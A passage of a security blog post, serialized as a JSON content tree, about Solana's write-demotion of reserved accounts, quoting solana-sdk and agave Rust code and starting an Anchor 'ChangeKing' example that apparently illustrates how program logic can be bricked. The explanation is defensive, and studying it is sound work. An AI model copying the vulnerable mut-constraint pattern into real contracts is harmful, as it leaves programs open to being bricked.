",{"type":23,"tag":16596,"props":85509,"children":85510},{},[85511],{"type":29,"value":85512},"writable",{"type":29,"value":85514}," in a transaction can be ",{"type":23,"tag":16596,"props":85516,"children":85517},{},[85518],{"type":29,"value":85519},"silently downgraded to read-only",{"type":29,"value":85521},". This behavior occurs during message sanitization — even before your program runs.",{"type":23,"tag":32,"props":85523,"children":85524},{},[85525,85527,85534],{"type":29,"value":85526},"Let’s walk through the logic for legacy messages (note: the same rules apply to ",{"type":23,"tag":940,"props":85528,"children":85531},{"href":85529,"rel":85530},"https://github.com/anza-xyz/solana-sdk/blob/master/message/src/versions/v0/loaded.rs#L58-L98",[944],[85532],{"type":29,"value":85533},"MessageV0",{"type":29,"value":85535},", but legacy is simpler to follow):",{"type":23,"tag":64,"props":85537,"children":85539},{"className":987,"code":85538,"language":986,"meta":7,"style":7},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\nimpl LegacyMessage\u003C'_> {\n    pub fn new(message: legacy::Message, reserved_account_keys: &HashSet\u003CPubkey>) -> Self {\n        let is_writable_account_cache = message\n            .account_keys\n            .iter()\n            .enumerate()\n            .map(|(i, _key)| {\n                message.is_writable_index(i)\n                    && !reserved_account_keys.contains(&message.account_keys[i])\n                    && !message.demote_program_id(i)\n            })\n            .collect::\u003CVec\u003C_>>();\n        Self {\n            message: Cow::Owned(message),\n            is_writable_account_cache,\n        }\n    }\n}\n\n// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\npub fn demote_program_id(&self, i: usize) -> bool {\n    self.is_key_called_as_program(i) && !self.is_upgradeable_loader_present()\n}\n\n",[85540],{"type":23,"tag":71,"props":85541,"children":85542},{"__ignoreMap":7},[85543,85551,85575,85663,85684,85696,85712,85728,85776,85805,85859,85895,85903,85940,85952,85990,86002,86009,86016,86023,86030,86038,86098,86151],{"type":23,"tag":75,"props":85544,"children":85545},{"class":77,"line":78},[85546],{"type":23,"tag":75,"props":85547,"children":85548},{"style":3621},[85549],{"type":29,"value":85550},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\n",{"type":23,"tag":75,"props":85552,"children":85553},{"class":77,"line":100},[85554,85558,85563,85567,85571],{"type":23,"tag":75,"props":85555,"children":85556},{"style":82},[85557],{"type":29,"value":39393},{"type":23,"tag":75,"props":85559,"children":85560},{"style":104},[85561],{"type":29,"value":85562}," LegacyMessage",{"type":23,"tag":75,"props":85564,"children":85565},{"style":94},[85566],{"type":29,"value":34137},{"type":23,"tag":75,"props":85568,"children":85569},{"style":104},[85570],{"type":29,"value":14370},{"type":23,"tag":75,"props":85572,"children":85573},{"style":94},[85574],{"type":29,"value":1175},{"type":23,"tag":75,"props":85576,"children":85577},{"class":77,"line":121},[85578,85582,85586,85590,85594,85598,85602,85607,85611,85616,85620,85625,85629,85633,85638,85642,85646,85650,85654,85659],{"type":23,"tag":75,"props":85579,"children":85580},{"style":82},[85581],{"type":29,"value":32061},{"type":23,"tag":75,"props":85583,"children":85584},{"style":82},[85585],{"type":29,"value":24938},{"type":23,"tag":75,"props":85587,"children":85588},{"style":88},[85589],{"type":29,"value":43128},{"type":23,"tag":75,"props":85591,"children":85592},{"style":94},[85593],{"type":29,"value":643},{"type":23,"tag":75,"props":85595,"children":85596},{"style":110},[85597],{"type":29,"value":79212},{"type":23,"tag":75,"props":85599,"children":85600},{"style":209},[85601],{"type":29,"value":1018},{"type":23,"tag":75,"props":85603,"children":85604},{"style":94},[85605],{"type":29,"value":85606}," legacy",{"type":23,"tag":75,"props":85608,"children":85609},{"style":209},[85610],{"type":29,"value":1407},{"type":23,"tag":75,"props":85612,"children":85613},{"style":104},[85614],{"type":29,"value":85615},"Message",{"type":23,"tag":75,"props":85617,"children":85618},{"style":94},[85619],{"type":29,"value":611},{"type":23,"tag":75,"props":85621,"children":85622},{"style":110},[85623],{"type":29,"value":85624},"reserved_account_keys",{"type":23,"tag":75,"props":85626,"children":85627},{"style":209},[85628],{"type":29,"value":1018},{"type":23,"tag":75,"props":85630,"children":85631},{"style":209},[85632],{"type":29,"value":844},{"type":23,"tag":75,"props":85634,"children":85635},{"style":104},[85636],{"type":29,"value":85637},"HashSet",{"type":23,"tag":75,"props":85639,"children":85640},{"style":94},[85641],{"type":29,"value":295},{"type":23,"tag":75,"props":85643,"children":85644},{"style":104},[85645],{"type":29,"value":32613},{"type":23,"tag":75,"props":85647,"children":85648},{"style":94},[85649],{"type":29,"value":31665},{"type":23,"tag":75,"props":85651,"children":85652},{"style":209},[85653],{"type":29,"value":1156},{"type":23,"tag":75,"props":85655,"children":85656},{"style":82},[85657],{"type":29,"value":85658}," Self",{"type":23,"tag":75,"props":85660,"children":85661},{"style":94},[85662],{"type":29,"value":401},{"type":23,"tag":75,"props":85664,"children":85665},{"class":77,"line":138},[85666,85670,85675,85679],{"type":23,"tag":75,"props":85667,"children":85668},{"style":82},[85669],{"type":29,"value":14352},{"type":23,"tag":75,"props":85671,"children":85672},{"style":110},[85673],{"type":29,"value":85674}," is_writable_account_cache",{"type":23,"tag":75,"props":85676,"children":85677},{"style":209},[85678],{"type":29,"value":1193},{"type":23,"tag":75,"props":85680,"children":85681},{"style":110},[85682],{"type":29,"value":85683}," message\n",{"type":23,"tag":75,"props":85685,"children":85686},{"class":77,"line":161},[85687,85691],{"type":23,"tag":75,"props":85688,"children":85689},{"style":209},[85690],{"type":29,"value":14452},{"type":23,"tag":75,"props":85692,"children":85693},{"style":94},[85694],{"type":29,"value":85695},"account_keys\n",{"type":23,"tag":75,"props":85697,"children":85698},{"class":77,"line":196},[85699,85703,85708],{"type":23,"tag":75,"props":85700,"children":85701},{"style":209},[85702],{"type":29,"value":14452},{"type":23,"tag":75,"props":85704,"children":85705},{"style":88},[85706],{"type":29,"value":85707},"iter",{"type":23,"tag":75,"props":85709,"children":85710},{"style":94},[85711],{"type":29,"value":3249},{"type":23,"tag":75,"props":85713,"children":85714},{"class":77,"line":220},[85715,85719,85724],{"type":23,"tag":75,"props":85716,"children":85717},{"style":209},[85718],{"type":29,"value":14452},{"type":23,"tag":75,"props":85720,"children":85721},{"style":88},[85722],{"type":29,"value":85723},"enumerate",{"type":23,"tag":75,"props":85725,"children":85726},{"style":94},[85727],{"type":29,"value":3249},{"type":23,"tag":75,"props":85729,"children":85730},{"class":77,"line":248},[85731,85735,85739,85743,85747,85751,85755,85759,85764,85768,85772],{"type":23,"tag":75,"props":85732,"children":85733},{"style":209},[85734],{"type":29,"value":14452},{"type":23,"tag":75,"props":85736,"children":85737},{"style":88},[85738],{"type":29,"value":1847},{"type":23,"tag":75,"props":85740,"children":85741},{"style":94},[85742],{"type":29,"value":643},{"type":23,"tag":75,"props":85744,"children":85745},{"style":209},[85746],{"type":29,"value":21664},{"type":23,"tag":75,"props":85748,"children":85749},{"style":94},[85750],{"type":29,"value":643},{"type":23,"tag":75,"props":85752,"children":85753},{"style":110},[85754],{"type":29,"value":12935},{"type":23,"tag":75,"props":85756,"children":85757},{"style":94},[85758],{"type":29,"value":611},{"type":23,"tag":75,"props":85760,"children":85761},{"style":110},[85762],{"type":29,"value":85763},"_key",{"type":23,"tag":75,"props":85765,"children":85766},{"style":94},[85767],{"type":29,"value":1347},{"type":23,"tag":75,"props":85769,"children":85770},{"style":209},[85771],{"type":29,"value":21664},{"type":23,"tag":75,"props":85773,"children":85774},{"style":94},[85775],{"type":29,"value":401},{"type":23,"tag":75,"props":85777,"children":85778},{"class":77,"line":270},[85779,85784,85788,85793,85797,85801],{"type":23,"tag":75,"props":85780,"children":85781},{"style":110},[85782],{"type":29,"value":85783},"                message",{"type":23,"tag":75,"props":85785,"children":85786},{"style":209},[85787],{"type":29,"value":557},{"type":23,"tag":75,"props":85789,"children":85790},{"style":88},[85791],{"type":29,"value":85792},"is_writable_index",{"type":23,"tag":75,"props":85794,"children":85795},{"style":94},[85796],{"type":29,"value":643},{"type":23,"tag":75,"props":85798,"children":85799},{"style":110},[85800],{"type":29,"value":12935},{"type":23,"tag":75,"props":85802,"children":85803},{"style":94},[85804],{"type":29,"value":653},{"type":23,"tag":75,"props":85806,"children":85807},{"class":77,"line":279},[85808,85813,85817,85821,85825,85830,85834,85838,85842,85846,85851,85855],{"type":23,"tag":75,"props":85809,"children":85810},{"style":209},[85811],{"type":29,"value":85812},"                    &&",{"type":23,"tag":75,"props":85814,"children":85815},{"style":209},[85816],{"type":29,"value":3122},{"type":23,"tag":75,"props":85818,"children":85819},{"style":110},[85820],{"type":29,"value":85624},{"type":23,"tag":75,"props":85822,"children":85823},{"style":209},[85824],{"type":29,"value":557},{"type":23,"tag":75,"props":85826,"children":85827},{"style":88},[85828],{"type":29,"value":85829},"contains",{"type":23,"tag":75,"props":85831,"children":85832},{"style":94},[85833],{"type":29,"value":643},{"type":23,"tag":75,"props":85835,"children":85836},{"style":209},[85837],{"type":29,"value":1277},{"type":23,"tag":75,"props":85839,"children":85840},{"style":110},[85841],{"type":29,"value":79212},{"type":23,"tag":75,"props":85843,"children":85844},{"style":209},[85845],{"type":29,"value":557},{"type":23,"tag":75,"props":85847,"children":85848},{"style":94},[85849],{"type":29,"value":85850},"account_keys[",{"type":23,"tag":75,"props":85852,"children":85853},{"style":110},[85854],{"type":29,"value":12935},{"type":23,"tag":75,"props":85856,"children":85857},{"style":94},[85858],{"type":29,"value":13156},{"type":23,"tag":75,"props":85860,"children":85861},{"class":77,"line":303},[85862,85866,85870,85874,85878,85883,85887,85891],{"type":23,"tag":75,"props":85863,"children":85864},{"style":209},[85865],{"type":29,"value":85812},{"type":23,"tag":75,"props":85867,"children":85868},{"style":209},[85869],{"type":29,"value":3122},{"type":23,"tag":75,"props":85871,"children":85872},{"style":110},[85873],{"type":29,"value":79212},{"type":23,"tag":75,"props":85875,"children":85876},{"style":209},[85877],{"type":29,"value":557},{"type":23,"tag":75,"props":85879,"children":85880},{"style":88},[85881],{"type":29,"value":85882},"demote_program_id",{"type":23,"tag":75,"props":85884,"children":85885},{"style":94},[85886],{"type":29,"value":643},{"type":23,"tag":75,"props":85888,"children":85889},{"style":110},[85890],{"type":29,"value":12935},{"type":23,"tag":75,"props":85892,"children":85893},{"style":94},[85894],{"type":29,"value":653},{"type":23,"tag":75,"props":85896,"children":85897},{"class":77,"line":322},[85898],{"type":23,"tag":75,"props":85899,"children":85900},{"style":94},[85901],{"type":29,"value":85902},"            })\n",{"type":23,"tag":75,"props":85904,"children":85905},{"class":77,"line":340},[85906,85910,85915,85919,85923,85927,85931,85935],{"type":23,"tag":75,"props":85907,"children":85908},{"style":209},[85909],{"type":29,"value":14452},{"type":23,"tag":75,"props":85911,"children":85912},{"style":88},[85913],{"type":29,"value":85914},"collect",{"type":23,"tag":75,"props":85916,"children":85917},{"style":209},[85918],{"type":29,"value":1407},{"type":23,"tag":75,"props":85920,"children":85921},{"style":94},[85922],{"type":29,"value":295},{"type":23,"tag":75,"props":85924,"children":85925},{"style":104},[85926],{"type":29,"value":28434},{"type":23,"tag":75,"props":85928,"children":85929},{"style":94},[85930],{"type":29,"value":295},{"type":23,"tag":75,"props":85932,"children":85933},{"style":110},[85934],{"type":29,"value":14370},{"type":23,"tag":75,"props":85936,"children":85937},{"style":94},[85938],{"type":29,"value":85939},">>();\n",{"type":23,"tag":75,"props":85941,"children":85942},{"class":77,"line":349},[85943,85948],{"type":23,"tag":75,"props":85944,"children":85945},{"style":82},[85946],{"type":29,"value":85947},"        Self",{"type":23,"tag":75,"props":85949,"children":85950},{"style":94},[85951],{"type":29,"value":401},{"type":23,"tag":75,"props":85953,"children":85954},{"class":77,"line":363},[85955,85960,85964,85969,85973,85978,85982,85986],{"type":23,"tag":75,"props":85956,"children":85957},{"style":110},[85958],{"type":29,"value":85959},"            message",{"type":23,"tag":75,"props":85961,"children":85962},{"style":209},[85963],{"type":29,"value":1018},{"type":23,"tag":75,"props":85965,"children":85966},{"style":104},[85967],{"type":29,"value":85968}," Cow",{"type":23,"tag":75,"props":85970,"children":85971},{"style":209},[85972],{"type":29,"value":1407},{"type":23,"tag":75,"props":85974,"children":85975},{"style":88},[85976],{"type":29,"value":85977},"Owned",{"type":23,"tag":75,"props":85979,"children":85980},{"style":94},[85981],{"type":29,"value":643},{"type":23,"tag":75,"props":85983,"children":85984},{"style":110},[85985],{"type":29,"value":79212},{"type":23,"tag":75,"props":85987,"children":85988},{"style":94},[85989],{"type":29,"value":1792},{"type":23,"tag":75,"props":85991,"children":85992},{"class":77,"line":656},[85993,85998],{"type":23,"tag":75,"props":85994,"children":85995},{"style":110},[85996],{"type":29,"value":85997},"            is_writable_account_cache",{"type":23,"tag":75,"props":85999,"children":86000},{"style":94},[86001],{"type":29,"value":118},{"type":23,"tag":75,"props":86003,"children":86004},{"class":77,"line":705},[86005],{"type":23,"tag":75,"props":86006,"children":86007},{"style":94},[86008],{"type":29,"value":2503},{"type":23,"tag":75,"props":86010,"children":86011},{"class":77,"line":787},[86012],{"type":23,"tag":75,"props":86013,"children":86014},{"style":94},[86015],{"type":29,"value":346},{"type":23,"tag":75,"props":86017,"children":86018},{"class":77,"line":826},[86019],{"type":23,"tag":75,"props":86020,"children":86021},{"style":94},[86022],{"type":29,"value":369},{"type":23,"tag":75,"props":86024,"children":86025},{"class":77,"line":834},[86026],{"type":23,"tag":75,"props":86027,"children":86028},{"emptyLinePlaceholder":15},[86029],{"type":29,"value":276},{"type":23,"tag":75,"props":86031,"children":86032},{"class":77,"line":881},[86033],{"type":23,"tag":75,"props":86034,"children":86035},{"style":3621},[86036],{"type":29,"value":86037},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\n",{"type":23,"tag":75,"props":86039,"children":86040},{"class":77,"line":3355},[86041,86045,86049,86054,86058,86062,86066,86070,86074,86078,86082,86086,86090,86094],{"type":23,"tag":75,"props":86042,"children":86043},{"style":82},[86044],{"type":29,"value":24933},{"type":23,"tag":75,"props":86046,"children":86047},{"style":82},[86048],{"type":29,"value":24938},{"type":23,"tag":75,"props":86050,"children":86051},{"style":88},[86052],{"type":29,"value":86053}," demote_program_id",{"type":23,"tag":75,"props":86055,"children":86056},{"style":94},[86057],{"type":29,"value":643},{"type":23,"tag":75,"props":86059,"children":86060},{"style":209},[86061],{"type":29,"value":1277},{"type":23,"tag":75,"props":86063,"children":86064},{"style":82},[86065],{"type":29,"value":24956},{"type":23,"tag":75,"props":86067,"children":86068},{"style":94},[86069],{"type":29,"value":611},{"type":23,"tag":75,"props":86071,"children":86072},{"style":110},[86073],{"type":29,"value":12935},{"type":23,"tag":75,"props":86075,"children":86076},{"style":209},[86077],{"type":29,"value":1018},{"type":23,"tag":75,"props":86079,"children":86080},{"style":104},[86081],{"type":29,"value":24974},{"type":23,"tag":75,"props":86083,"children":86084},{"style":94},[86085],{"type":29,"value":167},{"type":23,"tag":75,"props":86087,"children":86088},{"style":209},[86089],{"type":29,"value":1156},{"type":23,"tag":75,"props":86091,"children":86092},{"style":104},[86093],{"type":29,"value":3001},{"type":23,"tag":75,"props":86095,"children":86096},{"style":94},[86097],{"type":29,"value":401},{"type":23,"tag":75,"props":86099,"children":86100},{"class":77,"line":3390},[86101,86105,86109,86114,86118,86122,86126,86130,86134,86138,86142,86147],{"type":23,"tag":75,"props":86102,"children":86103},{"style":82},[86104],{"type":29,"value":32004},{"type":23,"tag":75,"props":86106,"children":86107},{"style":209},[86108],{"type":29,"value":557},{"type":23,"tag":75,"props":86110,"children":86111},{"style":88},[86112],{"type":29,"value":86113},"is_key_called_as_program",{"type":23,"tag":75,"props":86115,"children":86116},{"style":94},[86117],{"type":29,"value":643},{"type":23,"tag":75,"props":86119,"children":86120},{"style":110},[86121],{"type":29,"value":12935},{"type":23,"tag":75,"props":86123,"children":86124},{"style":94},[86125],{"type":29,"value":167},{"type":23,"tag":75,"props":86127,"children":86128},{"style":209},[86129],{"type":29,"value":84367},{"type":23,"tag":75,"props":86131,"children":86132},{"style":209},[86133],{"type":29,"value":3122},{"type":23,"tag":75,"props":86135,"children":86136},{"style":82},[86137],{"type":29,"value":24956},{"type":23,"tag":75,"props":86139,"children":86140},{"style":209},[86141],{"type":29,"value":557},{"type":23,"tag":75,"props":86143,"children":86144},{"style":88},[86145],{"type":29,"value":86146},"is_upgradeable_loader_present",{"type":23,"tag":75,"props":86148,"children":86149},{"style":94},[86150],{"type":29,"value":3249},{"type":23,"tag":75,"props":86152,"children":86153},{"class":77,"line":3423},[86154],{"type":23,"tag":75,"props":86155,"children":86156},{"style":94},[86157],{"type":29,"value":369},{"type":23,"tag":32,"props":86159,"children":86160},{},[86161],{"type":29,"value":86162},"As you can see, there are two main causes of write-demotion:",{"type":23,"tag":2797,"props":86164,"children":86165},{},[86166,86178],{"type":23,"tag":2801,"props":86167,"children":86168},{},[86169,86171],{"type":29,"value":86170},"The account appears in the ",{"type":23,"tag":940,"props":86172,"children":86175},{"href":86173,"rel":86174},"https://github.com/anza-xyz/agave/blob/cd76bf6b8da8ec3739f0df4e087de0e50028b034/reserved-account-keys/src/lib.rs#L142-L182",[944],[86176],{"type":29,"value":86177},"reserved account list",{"type":23,"tag":2801,"props":86179,"children":86180},{},[86181],{"type":29,"value":86182},"The account is invoked as a program without the upgradable loader being present in the transaction.",{"type":23,"tag":32,"props":86184,"children":86185},{},[86186],{"type":29,"value":86187},"The second case is generally covered by the executable check implemented previously.",{"type":23,"tag":32,"props":86189,"children":86190},{},[86191],{"type":29,"value":86192},"The first case, however, is far more dangerous — it can silently break your program logic without any obvious cause. Let’s dig deeper into that.",{"type":23,"tag":30116,"props":86194,"children":86196},{"id":86195},"the-reserved-account-list",[86197],{"type":29,"value":86198},"The Reserved Account List",{"type":23,"tag":32,"props":86200,"children":86201},{},[86202,86204,86209],{"type":29,"value":86203},"The Solana runtime maintains a ",{"type":23,"tag":940,"props":86205,"children":86207},{"href":86173,"rel":86206},[944],[86208],{"type":29,"value":86177},{"type":29,"value":86210},", which includes addresses with special semantics — such as built-in programs, precompiles, and sysvars.",{"type":23,"tag":32,"props":86212,"children":86213},{},[86214,86216,86223,86225,86230],{"type":29,"value":86215},"These accounts may initially behave like normal accounts. However, once they become reserved after a ",{"type":23,"tag":940,"props":86217,"children":86220},{"href":86218,"rel":86219},"https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474",[944],[86221],{"type":29,"value":86222},"feature gate is actived",{"type":29,"value":86224},", the runtime will ",{"type":23,"tag":16596,"props":86226,"children":86227},{},[86228],{"type":29,"value":86229},"automatically demote them to read-only",{"type":29,"value":86231},", even if the transaction marked them as writable.",{"type":23,"tag":64,"props":86233,"children":86235},{"className":987,"code":86234,"language":986,"meta":7,"style":7},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n// Update active set of reserved account keys which are not allowed to be write locked\nself.reserved_account_keys = {\n    let mut reserved_keys = ReservedAccountKeys::clone(&self.reserved_account_keys);\n    reserved_keys.update_active_set(&self.feature_set);\n    Arc::new(reserved_keys)\n};\n",[86236],{"type":23,"tag":71,"props":86237,"children":86238},{"__ignoreMap":7},[86239,86247,86255,86279,86333,86371,86400],{"type":23,"tag":75,"props":86240,"children":86241},{"class":77,"line":78},[86242],{"type":23,"tag":75,"props":86243,"children":86244},{"style":3621},[86245],{"type":29,"value":86246},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n",{"type":23,"tag":75,"props":86248,"children":86249},{"class":77,"line":100},[86250],{"type":23,"tag":75,"props":86251,"children":86252},{"style":3621},[86253],{"type":29,"value":86254},"// Update active set of reserved account keys which are not allowed to be write locked\n",{"type":23,"tag":75,"props":86256,"children":86257},{"class":77,"line":121},[86258,86262,86266,86271,86275],{"type":23,"tag":75,"props":86259,"children":86260},{"style":82},[86261],{"type":29,"value":24956},{"type":23,"tag":75,"props":86263,"children":86264},{"style":209},[86265],{"type":29,"value":557},{"type":23,"tag":75,"props":86267,"children":86268},{"style":94},[86269],{"type":29,"value":86270},"reserved_account_keys ",{"type":23,"tag":75,"props":86272,"children":86273},{"style":209},[86274],{"type":29,"value":212},{"type":23,"tag":75,"props":86276,"children":86277},{"style":94},[86278],{"type":29,"value":401},{"type":23,"tag":75,"props":86280,"children":86281},{"class":77,"line":138},[86282,86286,86290,86295,86299,86304,86308,86312,86316,86320,86324,86328],{"type":23,"tag":75,"props":86283,"children":86284},{"style":82},[86285],{"type":29,"value":1183},{"type":23,"tag":75,"props":86287,"children":86288},{"style":82},[86289],{"type":29,"value":14296},{"type":23,"tag":75,"props":86291,"children":86292},{"style":110},[86293],{"type":29,"value":86294}," reserved_keys",{"type":23,"tag":75,"props":86296,"children":86297},{"style":209},[86298],{"type":29,"value":1193},{"type":23,"tag":75,"props":86300,"children":86301},{"style":104},[86302],{"type":29,"value":86303}," ReservedAccountKeys",{"type":23,"tag":75,"props":86305,"children":86306},{"style":209},[86307],{"type":29,"value":1407},{"type":23,"tag":75,"props":86309,"children":86310},{"style":88},[86311],{"type":29,"value":26648},{"type":23,"tag":75,"props":86313,"children":86314},{"style":94},[86315],{"type":29,"value":643},{"type":23,"tag":75,"props":86317,"children":86318},{"style":209},[86319],{"type":29,"value":1277},{"type":23,"tag":75,"props":86321,"children":86322},{"style":82},[86323],{"type":29,"value":24956},{"type":23,"tag":75,"props":86325,"children":86326},{"style":209},[86327],{"type":29,"value":557},{"type":23,"tag":75,"props":86329,"children":86330},{"style":94},[86331],{"type":29,"value":86332},"reserved_account_keys);\n",{"type":23,"tag":75,"props":86334,"children":86335},{"class":77,"line":161},[86336,86341,86345,86350,86354,86358,86362,86366],{"type":23,"tag":75,"props":86337,"children":86338},{"style":110},[86339],{"type":29,"value":86340},"    reserved_keys",{"type":23,"tag":75,"props":86342,"children":86343},{"style":209},[86344],{"type":29,"value":557},{"type":23,"tag":75,"props":86346,"children":86347},{"style":88},[86348],{"type":29,"value":86349},"update_active_set",{"type":23,"tag":75,"props":86351,"children":86352},{"style":94},[86353],{"type":29,"value":643},{"type":23,"tag":75,"props":86355,"children":86356},{"style":209},[86357],{"type":29,"value":1277},{"type":23,"tag":75,"props":86359,"children":86360},{"style":82},[86361],{"type":29,"value":24956},{"type":23,"tag":75,"props":86363,"children":86364},{"style":209},[86365],{"type":29,"value":557},{"type":23,"tag":75,"props":86367,"children":86368},{"style":94},[86369],{"type":29,"value":86370},"feature_set);\n",{"type":23,"tag":75,"props":86372,"children":86373},{"class":77,"line":196},[86374,86379,86383,86387,86391,86396],{"type":23,"tag":75,"props":86375,"children":86376},{"style":104},[86377],{"type":29,"value":86378},"    Arc",{"type":23,"tag":75,"props":86380,"children":86381},{"style":209},[86382],{"type":29,"value":1407},{"type":23,"tag":75,"props":86384,"children":86385},{"style":88},[86386],{"type":29,"value":26353},{"type":23,"tag":75,"props":86388,"children":86389},{"style":94},[86390],{"type":29,"value":643},{"type":23,"tag":75,"props":86392,"children":86393},{"style":110},[86394],{"type":29,"value":86395},"reserved_keys",{"type":23,"tag":75,"props":86397,"children":86398},{"style":94},[86399],{"type":29,"value":653},{"type":23,"tag":75,"props":86401,"children":86402},{"class":77,"line":220},[86403],{"type":23,"tag":75,"props":86404,"children":86405},{"style":94},[86406],{"type":29,"value":27801},{"type":23,"tag":30116,"props":86408,"children":86410},{"id":86409},"consequences-silent-failures-and-bricked-programs",[86411],{"type":29,"value":86412},"Consequences: Silent Failures and Bricked Programs",{"type":23,"tag":32,"props":86414,"children":86415},{},[86416],{"type":29,"value":86417},"This behavior is especially dangerous when you constrain a program to be writable, for example, with anchor, it's pretty common to use the account(mut) constraint:",{"type":23,"tag":64,"props":86419,"children":86421},{"className":987,"code":86420,"language":986,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n    #[account(mut)]\n    pub throne: Account\u003C'info, Throne>,\n\n    #[account(mut, constraint = old_king.key() == throne.king)]\n    pub old_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub new_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub payer: Signer\u003C'info>,\n}\n",[86422],{"type":23,"tag":71,"props":86423,"children":86424},{"__ignoreMap":7},[86425,86440,86467,86482,86521,86528,86575,86606,86613,86628,86659,86666,86681,86712],{"type":23,"tag":75,"props":86426,"children":86427},{"class":77,"line":78},[86428,86432,86436],{"type":23,"tag":75,"props":86429,"children":86430},{"style":94},[86431],{"type":29,"value":34052},{"type":23,"tag":75,"props":86433,"children":86434},{"style":104},[86435],{"type":29,"value":34057},{"type":23,"tag":75,"props":86437,"children":86438},{"style":94},[86439],{"type":29,"value":31480},{"type":23,"tag":75,"props":86441,"children":86442},{"class":77,"line":100},[86443,86447,86451,86455,86459,86463],{"type":23,"tag":75,"props":86444,"children":86445},{"style":82},[86446],{"type":29,"value":24933},{"type":23,"tag":75,"props":86448,"children":86449},{"style":82},[86450],{"type":29,"value":396},{"type":23,"tag":75,"props":86452,"children":86453},{"style":104},[86454],{"type":29,"value":82481},{"type":23,"tag":75,"props":86456,"children":86457},{"style":94},[86458],{"type":29,"value":34137},{"type":23,"tag":75,"props":86460,"children":86461},{"style":104},[86462],{"type":29,"value":34142},{"type":23,"tag":75,"props":86464,"children":86465},{"style":94},[86466],{"type":29,"value":1175},{"type":23,"tag":75,"props":86468,"children":86469},{"class":77,"line":121},[86470,86474,86478],{"type":23,"tag":75,"props":86471,"children":86472},{"style":94},[86473],{"type":29,"value":34344},{"type":23,"tag":75,"props":86475,"children":86476},{"style":82},[86477],{"type":29,"value":14998},{"type":23,"tag":75,"props":86479,"children":86480},{"style":94},[86481],{"type":29,"value":31480},{"type":23,"tag":75,"props":86483,"children":86484},{"class":77,"line":138},[86485,86489,86493,86497,86501,86505,86509,86513,86517],{"type":23,"tag":75,"props":86486,"children":86487},{"style":82},[86488],{"type":29,"value":32061},{"type":23,"tag":75,"props":86490,"children":86491},{"style":110},[86492],{"type":29,"value":82520},{"type":23,"tag":75,"props":86494,"children":86495},{"style":209},[86496],{"type":29,"value":1018},{"type":23,"tag":75,"props":86498,"children":86499},{"style":104},[86500],{"type":29,"value":34309},{"type":23,"tag":75,"props":86502,"children":86503},{"style":94},[86504],{"type":29,"value":34137},{"type":23,"tag":75,"props":86506,"children":86507},{"style":104},[86508],{"type":29,"value":34142},{"type":23,"tag":75,"props":86510,"children":86511},{"style":94},[86512],{"type":29,"value":611},{"type":23,"tag":75,"props":86514,"children":86515},{"style":104},[86516],{"type":29,"value":82545},{"type":23,"tag":75,"props":86518,"children":86519},{"style":94},[86520],{"type":29,"value":1114},{"type":23,"tag":75,"props":86522,"children":86523},{"class":77,"line":161},[86524],{"type":23,"tag":75,"props":86525,"children":86526},{"emptyLinePlaceholder":15},[86527],{"type":29,"value":276},{"type":23,"tag":75,"props":86529,"children":86530},{"class":77,"line":196},[86531,86535,86539,86543,86547,86551,86555,86559,86563,86567,86571],{"type":23,"tag":75,"props":86532,"children":86533},{"style":94},[86534],{"type":29,"value":34344},{"type":23,"tag":75,"props":86536,"children":86537},{"style":82},[86538],{"type":29,"value":14998},{"type":23,"tag":75,"props":86540,"children":86541},{"style":94},[86542],{"type":29,"value":82580},{"type":23,"tag":75,"props":86544,"children":86545},{"style":209},[86546],{"type":29,"value":212},{"type":23,"tag":75,"props":86548,"children":86549},{"style":94},[86550],{"type":29,"value":82589},{"type":23,"tag":75,"props":86552,"children":86553},{"style":209},[86554],{"type":29,"value":557},{"type":23,"tag":75,"props":86556,"children":86557},{"style":94},[86558],{"type":29,"value":82598},{"type":23,"tag":75,"props":86560,"children":86561},{"style":209},[86562],{"type":29,"value":2469},{"type":23,"tag":75,"props":86564,"children":86565},{"style":94},[86566],{"type":29,"value":82520},{"type":23,"tag":75,"props":86568,"children":86569},{"style":209},[86570],{"type":29,"value":557},{"type":23,"tag":75,"props":86572,"children":86573},{"style":94},[86574],{"type":29,"value":82615},{"type":23,"tag":75,"props":86576,"children":86577},{"class":77,"line":220},[86578,86582,86586,86590,86594,86598,86602],{"type":23,"tag":75,"props":86579,"children":86580},{"style":82},[86581],{"type":29,"value":32061},{"type":23,"tag":75,"props":86583,"children":86584},{"style":110},[86585],{"type":29,"value":82589},{"type":23,"tag":75,"props":86587,"children":86588},{"style":209},[86589],{"type":29,"value":1018},{"type":23,"tag":75,"props":86591,"children":86592},{"style":104},[86593],{"type":29,"value":36600},{"type":23,"tag":75,"props":86595,"children":86596},{"style":94},[86597],{"type":29,"value":34137},{"type":23,"tag":75,"props":86599,"children":86600},{"style":104},[86601],{"type":29,"value":34142},{"type":23,"tag":75,"props":86603,"children":86604},{"style":94},[86605],{"type":29,"value":1114},{"type":23,"tag":75,"props":86607,"children":86608},{"class":77,"line":248},[86609],{"type":23,"tag":75,"props":86610,"children":86611},{"emptyLinePlaceholder":15},[86612],{"type":29,"value":276},{"type":23,"tag":75,"props":86614,"children":86615},{"class":77,"line":270},[86616,86620,86624],{"type":23,"tag":75,"props":86617,"children":86618},{"style":94},[86619],{"type":29,"value":34344},{"type":23,"tag":75,"props":86621,"children":86622},{"style":82},[86623],{"type":29,"value":14998},{"type":23,"tag":75,"props":86625,"children":86626},{"style":94},[86627],{"type":29,"value":31480},{"type":23,"tag":75,"props":86629,"children":86630},{"class":77,"line":279},[86631,86635,86639,86643,86647,86651,86655],{"type":23,"tag":75,"props":86632,"children":86633},{"style":82},[86634],{"type":29,"value":32061},{"type":23,"tag":75,"props":86636,"children":86637},{"style":110},[86638],{"type":29,"value":82688},{"type":23,"tag":75,"props":86640,"children":86641},{"style":209},[86642],{"t